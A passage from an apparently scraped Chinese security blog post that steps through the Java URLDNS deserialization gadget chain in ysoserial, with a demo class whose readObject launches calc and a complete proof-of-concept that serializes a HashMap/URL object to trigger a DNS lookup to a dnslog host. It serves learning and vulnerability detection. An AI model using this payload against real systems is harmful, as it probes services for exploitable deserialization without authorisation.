<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java反序列化(0):URLDNS的反序列化調試分析

    VSole2023-07-14 09:55:34

    URLDNS鏈子是Java反序列化分析的第0課,網上也有很多優質的分析文章。

    筆者作為Java安全初學者,也從0到1調試了一遍,現在給出調試筆記。

    一. Java反序列化前置知識Java原生鏈序列化:利用Java.io.ObjectInputStream對象輸出流的writerObject方法實現Serializable接口,將對象轉化成字節序列。
    Java原生鏈反序列化:利用Java.io.ObjectOutputStream對象輸入流的readObject方法實現將字節序列轉化成對象。

    測試源碼如下,此部分源碼參考了ol4three師傅的博客

    package serialize;
    import java.io.*;
    public class deserTest implements Serializable {
        private int n;
        public deserTest(int n) {
            this.n=n;
        }
        @Override
        public String toString() {
            return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
                    + super.toString() + "]";
        }
        // 反序列化
        private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
            in.defaultReadObject();     
            Runtime.getRuntime().exec("calc");   
            System.out.println("test");
        }
        public static void main(String[] args) {
            deserTest x = new deserTest(5);
            operation1.ser(x);
            operation1.deser();
            x.toString();
        }
    }
    // 實現序列化和反序列化具體細節的類
    class operation1{
        // 將輸出字節流寫入文件中進行封存
        public static void ser(Object obj) {
            // 序列化操作,寫操作
            try {
                 // 首先文件落地object.obj存儲輸出流,綁定輸出流           
                ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
                // 重定向將輸出流字節寫入文件
                ooStream.writeObject(obj);
                
                ooStream.flush();
                ooStream.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
            }catch (IOException e) {
                // TODO: handle exception
                e.printStackTrace();
            }
        }
        
        
        public static void deser() {
            // 反序列化,讀取操作
            try {
                // 綁定輸入流
                ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
                
                // 反序列化時需要從相關的文件容器中讀取輸出的字節流
                // 讀取字節流操作為readObject,所以重寫readObject可以執行自定義代碼
                Object xObject = iiStream.readObject();
                iiStream.close();
            } catch (IOException e) {
                // TODO: handle exception
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }
    

    二. ysoserial環境搭建IDE就直接用JetBrains的IDEA就行

    直接拿Java安全payload集成化工具ysoserial進行分析,這里面已經有現成的環境了

    https://github.com/frohoff/ysoserial

    注意配置好相應的JDKSDK版本:

    • 三. URLDNS攻擊鏈? 影響的版本問題:與JDK版本無關,其攻擊鏈實現依賴于Java內置類,與第三方庫無關
    • ? URLDNS這條反序列化鏈只能發起DNS請求,無法進行其他利用,可以作為驗證是否有反序列化漏洞的姿勢

    調試分析

    Gadget Chain:
    Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
    getHostAddress()
    在getHostAddress函數中進行域名解析,從而可以被DNSLog平臺捕獲

    URLDNS程序入口

    ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路徑下有URLDNS.java文件

    main主函數的run函數打斷點進入

    這個ysoserial-masterpayload運行結構大致是有一個專門的PayloadRunner運行程序,然后統一調用來運行各部分的payload

    首先是進行序列化:

    繼續往下,生成command,由于是分析URLDNS攻擊鏈,所以只需要修改將返回值為dnslog的臨時地址

    創建實例后,進入到URLDNSgetObjectpayload函數

    getObject函數中應該注意的是:聲明了HashMap對象和URL對象,并進行put哈希綁定,最后設置作用域

    反序列化鏈子:

    在反序列化入口處打斷點:

    在反序列化時調用了readObject函數

    然后進入HashMap.javareadObject函數

    readObject中調試到此行,了putval,在此處IDEA這個IDE可以選擇進入的函數,直接進入后者hash

    由于我們讀入字節序列,需要將其恢復成相應的對象結構,那么就需要重新putval

    傳入的key不為空,執行key.hashCode

    進一步在URL.java文件下

    進入URLStreamHandlerhashCode

    產生解析:

    總的來說,利用鏈思路如下:
    在反序列化URLDNS對象時,也需要反序列化HashMap對象,從而調用了HashMap.readObject()的重寫函數,重寫函數中調用了哈希表putval等的相關重構函數,在hashcode下調用了getHostAddress函數
    那么反之,為什么首次聲明的時候沒有調用到了getHostAddress函數,現在給出聲明時的函數路線:
    ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
    該函數為空實現

    列出幾個路線上的關鍵函數看看:

    由于此處keyString類型,則進入String.hashCode

    相比之下,在反序列化中keyURL類型

    設置了不發起dns解析

    具體執行流,可以看下時序圖,我就不講了^^

    四. URLDNS鏈的使用import java.io.*;
    import java.lang.reflect.Field;
    import java.net.InetAddress;
    import java.net.URL;
    import java.net.URLConnection;
    import java.net.URLStreamHandler;
    import java.util.HashMap;
    public class Main{
        // 序列化前不發生dns解析
        static class SilentURLStreamHandler extends URLStreamHandler{
            protected URLConnection openConnection(URL n) throws IOException{
                return null;
            }
            protected synchronized InetAddress getHostAddress(URL n)
            {
                return null;
            }
        }
        public static void main(String[] args) throws Exception{
            HashMap hashMap = new HashMap();
            // 設置put時不發起dns解析
            URLStreamHandler handler = new Main.SilentURLStreamHandler();
            URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
            // 利用Java反射機制在動態執行時獲取類
            Class clazz = Class.forName("java.net.URL");
            Field f = clazz.getDeclaredField("hashCode");
            f.setAccessible(true);
            hashMap.put(url, "123");
            f.set(url, -1);
            // 對象輸出流綁定文件輸出流
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
            oos.writeObject(hashMap); // 序列化
            // 對象輸入流綁定文件輸入流
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
            ois.readObject();   // 反序列化
        }
    }
    
    程序調試序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    截住 APP 重打包就一定程度上防止了病毒的傳播。如果 PermissionGroup 的屬性為空,會導致權限定義無效,且其他 APP 無法使用該權限。
    Web安全常見漏洞修復建議
    安卓工具總結
    2021-10-14 08:39:34
    JRE:Java Runtime Environment是Java運行時環境,包含了java虛擬機,java基礎類庫安裝過程:1)雙擊啟動安裝程序2)默認安裝路徑3)jre路徑選擇4)配置環境變量JAVA_HOME. 這里介紹幾款不錯的安卓模擬器。
    Windows安全工具錦集
    2023-01-07 11:03:54
    解決了OD對64位應用程序調試上的缺陷:下載地址:https://x64dbg.com/#startdnSpy一款針對.NET程序的開源逆向程序的工具。還能設置斷點,修改請求和響應的數據,模擬弱網絡環境。支持插件擴展:下載地址:https://www.telerik.com/download/fiddlerMicrosoftNetwork Monitor只支持Windows平臺的網絡數據分析工具,提供了一個專業的網路實時流量圖形界面,擁有識別和監控超過300種網絡協議的能力:下載地址:https://www.microsoft.com/en-us/download/details.aspx?
    一. 應用層隧道技術1. ssh隧道建立雙向安全隧道將其他TCP端口的通信通過SSH連接轉發用SSH作為傳輸層協議,對流量自動加解密突破防火墻訪問規則的限制SSH本地端口轉發本機偵聽端口
    某視頻app的學習記錄
    2022-01-03 16:58:52
    這個看見有人說有個版本開始不能截了,我這邊一直都是換證書的,沒感覺有影響,估計我下的是盜版,碰到再看了。先新建一個自己的測試app,接著的工作就是搬代碼了,直接導出所有的反編譯代碼
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类